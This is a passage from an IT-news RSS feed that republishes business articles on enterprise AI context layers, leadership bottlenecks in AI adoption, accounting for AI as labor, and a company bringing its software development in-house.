<link>https://tsecurity.de/de/3686194/it-security-nachrichten/how-to-use-themes-in-google-messages-so-you-never-send-the-wrong-person-the-wrong-text-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686194/it-security-nachrichten/how-to-use-themes-in-google-messages-so-you-never-send-the-wrong-person-the-wrong-text-again/</guid>
<pubDate>Wed, 22 Jul 2026 13:58:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With dozens of chats on the go, you've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></content:encoded>
</item>
<item>
<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



